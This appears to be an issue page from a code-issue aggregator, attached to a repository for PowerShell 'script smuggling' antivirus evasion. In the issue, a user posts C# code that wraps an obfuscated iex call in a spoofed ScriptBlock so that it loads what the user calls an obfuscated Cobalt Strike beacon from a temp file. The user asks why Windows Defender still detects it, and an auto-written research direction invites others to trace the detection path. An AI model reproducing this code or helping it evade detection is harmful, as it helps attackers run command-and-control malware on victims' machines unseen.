Still be detected by wdfdr...
Nobody has claimed this yet.
Assessment
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Newbie friendliness
- 25/100
Research direction
No repository files or tests are named. Start by reproducing the supplied C# sample with Windows Defender, then trace how the generated ScriptBlock and executableAst are handled; done means identifying the detection path and recording a confirmed resolution or the remaining limitation.
Written by the indexing model from the issue text.
Description
A very nice anti-detection idea, however my sample still can be detected by Windows Defender, here is the demo code:
...
namespace ScriptSmuggling
{
public class Program
{
public static void Main()
{
// the msedge_installer.log is an obfuscated cobaltstrike beacon file (.ps1). it can be execute by iex
string script = @". ($pShOmE[4]+$PsHoMe[34]+'X') (cat C:\Windows\Temp\msedge_installer.log)";
ScriptBlock sb = BuildSpoofedBlock(script);
// Setup PowerShell runspace
using (Runspace runSpace = RunspaceFactory.CreateRunspace())
{
runSpace.Open();
using (PowerShell ps = PowerShell.Create())
{
ps.Runspace = runSpace;
ps.AddCommand("Invoke-Command")
.AddParameter("ScriptBlock", sb);
Collection<PSObject> results = ps.Invoke();
foreach (PSObject result in results)
{
Console.WriteLine(result);
}
// Display any errors from the error stream
foreach (ErrorRecord error in ps.Streams.Error)
{
Console.WriteLine("ERROR: " + error);
}
}
}
}
public static ScriptBlock BuildSpoofedBlock(string content)
{
...
}
}
}
Maybe the executableAst is still be check by wdfdr?
- Dominant language
- C#
- Stars
- 96
- Forks
- 13
- PR merge metrics
- No merged PRs in 30d
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Similar issues
-
bug
Difficulty 2/5 1-3 hours Newbie friendliness 75/100
nightscout/nocturne#1425 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 70/100
RayWangQvQ/BiliBiliToolPro#1137 ·
-
Difficulty 2/5 1-3 hours Newbie friendliness 65/100
-
Difficulty 2/5 1-3 hours Newbie friendliness 75/100
-
Difficulty 2/5 1-3 hours Newbie friendliness 70/100